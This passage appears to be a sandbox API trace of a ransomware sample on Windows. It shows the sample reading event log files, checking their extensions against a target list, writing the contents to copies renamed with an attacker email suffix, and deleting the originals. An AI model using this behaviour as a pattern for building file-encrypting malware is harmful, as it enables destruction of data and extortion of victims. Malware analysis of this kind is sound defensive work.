[0146.767] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0146.767] lstrlenW (lpString="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 43 [0146.767] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0146.768] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=69632) returned 1 [0146.768] CloseHandle (hObject=0x1038) returned 1 [0146.768] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx")) returned 0x20 [0146.768] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0146.768] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0146.768] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.768] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.768] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0146.770] GetLastError () returned 0x0 [0146.770] ReadFile (in: hFile=0x1038, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0146.813] WriteFile (in: hFile=0x1084, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0146.815] ReadFile (in: hFile=0x1038, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0146.815] WriteFile (in: hFile=0x1084, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x12a, lpOverlapped=0x0) returned 1 [0146.815] SetEndOfFile (hFile=0x1084) returned 1 [0146.815] CloseHandle (hObject=0x1084) returned 1 [0146.818] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.818] SetEndOfFile (hFile=0x1038) returned 1 [0146.819] CloseHandle (hObject=0x1038) returned 1 [0146.819] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0146.819] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx")) returned 1 [0146.819] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0146.819] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0146.819] lstrlenW (lpString=".doc") returned 4 [0146.819] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0146.819] lstrlenW (lpString=".docx") returned 5 [0146.820] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0146.820] lstrlenW (lpString=".pdf") returned 4 [0146.820] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0146.820] lstrlenW (lpString=".xls") returned 4 [0146.820] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0146.820] lstrlenW (lpString=".xlsx") returned 5 [0146.820] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0146.820] lstrlenW (lpString=".ppt") returned 4 [0146.820] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0146.820] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0146.820] lstrlenW (lpString=".zip") returned 4 [0146.820] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0146.820] lstrlenW (lpString=".rar") returned 4 [0146.820] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0146.820] lstrlenW (lpString=".bz2") returned 4 [0146.820] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0146.820] lstrlenW (lpString=".7z") returned 3 [0146.820] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0146.820] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0146.820] lstrlenW (lpString=".dbf") returned 4 [0146.820] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0146.820] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0146.820] lstrlenW (lpString=".1cd") returned 4 [0146.820] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0146.820] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0146.820] lstrlenW (lpString=".jpg") returned 4 [0146.820] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0146.820] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0146.820] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0146.820] lstrlenW (lpString=".doc") returned 4 [0146.820] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0146.820] lstrlenW (lpString=".docx") returned 5 [0146.820] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0146.820] lstrlenW (lpString=".pdf") returned 4 [0146.820] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0146.821] lstrlenW (lpString=".xls") returned 4 [0146.821] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0146.821] lstrlenW (lpString=".xlsx") returned 5 [0146.821] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0146.821] lstrlenW (lpString=".ppt") returned 4 [0146.821] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0146.821] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0146.821] lstrlenW (lpString=".zip") returned 4 [0146.821] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0146.821] lstrlenW (lpString=".rar") returned 4 [0146.821] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0146.821] lstrlenW (lpString=".bz2") returned 4 [0146.821] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0146.821] lstrlenW (lpString=".7z") returned 3 [0146.821] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0146.821] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0146.821] lstrlenW (lpString=".dbf") returned 4 [0146.821] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0146.821] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0146.821] lstrlenW (lpString=".1cd") returned 4 [0146.821] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0146.821] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0146.821] lstrlenW (lpString=".jpg") returned 4 [0146.821] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0146.821] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0146.821] lstrlenW (lpString="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 49 [0146.821] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0146.823] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=69632) returned 1 [0146.823] CloseHandle (hObject=0x1038) returned 1 [0146.823] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx")) returned 0x20 [0146.823] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0146.823] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0146.823] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.823] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.824] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0146.824] GetLastError () returned 0x0 [0146.824] ReadFile (in: hFile=0x1038, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0146.918] WriteFile (in: hFile=0x1084, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0146.919] ReadFile (in: hFile=0x1038, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0146.919] WriteFile (in: hFile=0x1084, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x136, lpOverlapped=0x0) returned 1 [0146.920] SetEndOfFile (hFile=0x1084) returned 1 [0146.920] CloseHandle (hObject=0x1084) returned 1 [0146.928] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.928] SetEndOfFile (hFile=0x1038) returned 1 [0146.929] CloseHandle (hObject=0x1038) returned 1 [0146.929] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0146.929] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx")) returned 1 [0146.929] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0146.929] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0146.929] lstrlenW (lpString=".doc") returned 4 [0146.930] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0146.930] lstrlenW (lpString=".docx") returned 5 [0146.930] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0146.930] lstrlenW (lpString=".pdf") returned 4 [0146.930] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0146.930] lstrlenW (lpString=".xls") returned 4 [0146.930] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0146.930] lstrlenW (lpString=".xlsx") returned 5 [0146.930] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0146.930] lstrlenW (lpString=".ppt") returned 4 [0146.930] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0146.930] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0146.930] lstrlenW (lpString=".zip") returned 4 [0146.930] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0146.930] lstrlenW (lpString=".rar") returned 4 [0146.930] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0146.930] lstrlenW (lpString=".bz2") returned 4 [0146.930] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0146.930] lstrlenW (lpString=".7z") returned 3 [0146.930] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0146.930] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0146.930] lstrlenW (lpString=".dbf") returned 4 [0146.930] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0146.930] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0146.930] lstrlenW (lpString=".1cd") returned 4 [0146.930] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0146.930] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0146.930] lstrlenW (lpString=".jpg") returned 4 [0146.930] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0146.930] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0146.930] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0146.930] lstrlenW (lpString=".doc") returned 4 [0146.931] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0146.931] lstrlenW (lpString=".docx") returned 5 [0146.931] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0146.931] lstrlenW (lpString=".pdf") returned 4 [0146.931] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0146.931] lstrlenW (lpString=".xls") returned 4 [0146.931] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0146.931] lstrlenW (lpString=".xlsx") returned 5 [0146.931] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0146.931] lstrlenW (lpString=".ppt") returned 4 [0146.931] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0146.931] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0146.931] lstrlenW (lpString=".zip") returned 4 [0146.931] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0146.931] lstrlenW (lpString=".rar") returned 4 [0146.931] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0146.931] lstrlenW (lpString=".bz2") returned 4 [0146.931] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0146.931] lstrlenW (lpString=".7z") returned 3 [0146.931] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0146.931] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0146.931] lstrlenW (lpString=".dbf") returned 4 [0146.931] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0146.931] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0146.931] lstrlenW (lpString=".1cd") returned 4 [0146.931] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0146.931] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0146.931] lstrlenW (lpString=".jpg") returned 4 [0146.931] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0146.931] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0146.931] lstrlenW (lpString="Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 47 [0146.931] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0146.932] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=69632) returned 1 [0146.932] CloseHandle (hObject=0x1038) returned 1 [0146.932] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx")) returned 0x20 [0146.932] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0146.932] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0146.932] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.932] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.932] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0146.944] GetLastError () returned 0x0 [0146.944] ReadFile (in: hFile=0x1038, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0147.017] WriteFile (in: hFile=0x1084, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0147.018] ReadFile (in: hFile=0x1038, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.018] WriteFile (in: hFile=0x1084, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x132, lpOverlapped=0x0) returned 1 [0147.018] SetEndOfFile (hFile=0x1084) returned 1 [0147.018] CloseHandle (hObject=0x1084) returned 1 [0147.020] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.020] SetEndOfFile (hFile=0x1038) returned 1 [0147.021] CloseHandle (hObject=0x1038) returned 1 [0147.021] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0147.021] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx")) returned 1 [0147.033] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0147.033] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0147.033] lstrlenW (lpString=".doc") returned 4 [0147.033] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0147.033] lstrlenW (lpString=".docx") returned 5 [0147.033] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0147.033] lstrlenW (lpString=".pdf") returned 4 [0147.033] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0147.033] lstrlenW (lpString=".xls") returned 4 [0147.033] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0147.033] lstrlenW (lpString=".xlsx") returned 5 [0147.033] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0147.033] lstrlenW (lpString=".ppt") returned 4 [0147.033] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0147.033] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0147.033] lstrlenW (lpString=".zip") returned 4 [0147.033] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0147.033] lstrlenW (lpString=".rar") returned 4 [0147.033] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0147.033] lstrlenW (lpString=".bz2") returned 4 [0147.033] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0147.033] lstrlenW (lpString=".7z") returned 3 [0147.033] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0147.034] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0147.034] lstrlenW (lpString=".dbf") returned 4 [0147.034] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0147.034] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0147.034] lstrlenW (lpString=".1cd") returned 4 [0147.034] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0147.034] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0147.034] lstrlenW (lpString=".jpg") returned 4 [0147.034] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0147.034] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0147.034] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0147.034] lstrlenW (lpString=".doc") returned 4 [0147.034] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0147.034] lstrlenW (lpString=".docx") returned 5 [0147.034] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0147.034] lstrlenW (lpString=".pdf") returned 4 [0147.034] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0147.034] lstrlenW (lpString=".xls") returned 4 [0147.034] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0147.034] lstrlenW (lpString=".xlsx") returned 5 [0147.034] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0147.034] lstrlenW (lpString=".ppt") returned 4 [0147.034] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0147.034] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0147.034] lstrlenW (lpString=".zip") returned 4 [0147.034] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0147.034] lstrlenW (lpString=".rar") returned 4 [0147.034] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0147.034] lstrlenW (lpString=".bz2") returned 4 [0147.034] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0147.034] lstrlenW (lpString=".7z") returned 3 [0147.035] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0147.035] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0147.035] lstrlenW (lpString=".dbf") returned 4 [0147.035] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0147.035] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0147.035] lstrlenW (lpString=".1cd") returned 4 [0147.035] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0147.035] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0147.035] lstrlenW (lpString=".jpg") returned 4 [0147.035] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0147.035] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0147.035] lstrlenW (lpString="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 51 [0147.035] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0147.035] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=69632) returned 1 [0147.035] CloseHandle (hObject=0x1038) returned 1 [0147.035] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx")) returned 0x20 [0147.035] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0147.036] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 